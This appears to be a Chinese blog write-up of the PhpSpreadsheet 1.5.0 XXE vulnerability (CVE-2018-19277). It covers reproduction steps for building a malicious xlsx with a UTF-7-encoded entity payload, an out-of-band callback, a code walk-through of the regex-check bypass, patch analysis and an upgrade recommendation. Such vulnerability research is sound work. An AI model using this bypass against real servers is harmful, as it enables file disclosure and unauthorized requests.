Xxe漏洞 php,PhpSpreadsheet 1.5.0 XXE漏洞复现及分析

819a90d2d4215b9b7324ec7859838d58.png

0x01 前言

PhpSpreadsheet是一个非常流行的纯 PHP 类库,能够让你方便的读写Excel、LibreOffic Calc等表格格式的文件,是PHPExcel的替代者。2018年11月13日,PhpSpreadsheet 被爆出存在XXE漏洞(CVE-2018-19277),在表格的解压文件中插入UTF-7编码的恶意xml payload,可绕过PhpSpreadsheet 库的安全检查造成XXE攻击。

0x02 影响范围

PhpSpreadsheet 1.5.0及以下版本

0x03 漏洞复现

自Office 2007以后,Excel存储的文件后缀为xlsx,相对于之前的旧版本多了一个X,实质上xlsx文件是一个压缩包。新建一个exploit.xlsx空文件,执行 unzip exploit.xlsx

427281fcd5aae0207c98adeb628a18ae.png

将如下payload进行UTF-7编码,并替换掉xl/worksheets/sheet1.xml。

%aaa;%ccc;%ddd;]>

编码后的payload如下图 ,注意一定要修改 xml 编码encoding的值。

b4b41aa441860466c814283d7988e77c.png

执行 zip -r ../exploit1.xlsx * 进行重打包生成exploit1.xlsx;切换到Web目录,利用composer安装1.5.0版本的PhpSpreadsheet composer require phpoffice/phpspreadsheet=1.5.0 ,在同一目录下新建excel.php,内容如下所示:

error_reporting(-1);

require 'vendor/autoload.php';

$reader = PhpOfficePhpSpreadsheetIOFactory::createReader('Xlsx'); //创建Xlsx读对象

$reader->setReadDataOnly(TRUE);

$spreadsheet = $reader->load('exploit1.xlsx'); //加载excel表格文件exploit1.xlsx

?>

开启报错提示后,访问excel.php会看到warning信息,有利于我们快速定位到问题函数和所在行。

1543d8f876de88448bd02799b6388f99.png

随后,在ceye平台上看到了解析xml文件时的外部实体请求。

677e580698aabde354d074c7a1ed0c4c.png

0x04 漏洞分析

漏洞分析从我们创建的excel.php开始,文件第4行调用了vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/IOFactory.php的createReader方法,当$readers数组中不存在$readerType的key值时,便会抛出异常。

aef8741ded7dea4cbf49745eff9f8ff5.png

这里传递的 $readerType='Xlsx' ,因此返回对应的value值为 ReaderXlsx::class

8bf5682718710bf40a8c23df5261873a.png

77行则创建了PhpOfficePhpSpreadsheetReaderXlsx对象,随后返回给$reader对象,并调用了load方法;跟进到对应的类文件vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php,在389行定义了load方法,方法先调用了File类的assertFile方法判断表格文件是否存在,并在402-403调用 ZipArchive类的open方法打开exploit1.xlsx文件便于调用解压后的子文件。

9eb8fe2bced64fa78f51af774572dfed.png

随后load方法会根据解压后文件类型进行逐一处理,这里不一一分析,根据warning信息直接定位到760行的simplexml_load_string方法,该方法通常用于把 XML 字符串载入对象中,如若使用不当则容易导致XXE漏洞。这里先调用了getFromZipArchive方法处理xl/wordsheets/sheet1.xml,即插入xxe payload的xml文件。

7cfadcfcbee3840b0306f21a7fbd800e.png

跟进到getFromZipArchive方法,该方法调用了ZipArchive::getFromName方法,根据文件名从压缩文件中获取对应文件的内容并返回。

1c978ef4fec1cea626639667fd7780a8.png

返回Xlsx.php的757行,getFromZipArchive方法的返回值还经过了securityScan方法处理,跟进到Xlsx类的父类vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/BaseReader.php,securityScan方法利用正则表达式匹配 /?!?D?O?C?T?Y?P?E?/ ,正是由于采用了UTF-7编码,导致 从而绕过了securityScan方法对XXE攻击的防御。

f3e7d263fbd83adc546ab14d55a8c571.png

0x05 官方补丁分析

官方在2018年11月21日放出补丁修复了该漏洞,创建了一个PHPOffice/PhpSpreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php xml内容安全检查的类文件,在Xlsx.php的构造函数中实例化了这个安全类,随后在调用simplexml_load_string方法处理xml内容之前,都会调用安全类的scan方法检查是否存在XXE攻击。

b4c9b58d9b0292c569a0682ba9980199.png

我们跟进到XmlScanner.php,发现该类主要采用两个方法防止XXE攻击:一是在构造函数中,当 PHP 版本为7.x时,设置 libxml_disable_entity_loader(true) 禁止加载外部实体;

f43166c7b41a5ee6ba1c51a1a7285fec.png

二是在scan方法中,通过正则匹配XML的编码格式,并将其转换成UTF-8编码,再利用正则匹配是否存在 /?!?D?O?C?T?Y?P?E?/ ,官方补丁通过两个方法相结合的方式防止XXE攻击。

0670bc166622d5ae29245e97ce56e39d.png

0x06 小结

通过分析其实可以发现,Xlsx.php的load方法不单单只处理了xl/wordsheets/sheet1.xml,也解析了包括

xl/_rels/workbook.xml.rels

xl/theme/theme1.xml

_rels/.rels

docProps/app.xml

docProps/core.xml

xl/_rels/workbook.xml.rels

xl/styles.xml

xl/workbook.xml

可以将UTF-7编码的payload替换上述文件内容,同样可以触发XXE攻击。并且,UTF-7也并非唯一可用编码,诸如UTF-16等可绕过安全正则检查的编码方式也可被利用。PhpSpreadsheet作为PHP处理表格文件最流行的类库,被大量的用户和网站使用,建议开发人员及时升级版本到最新。

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值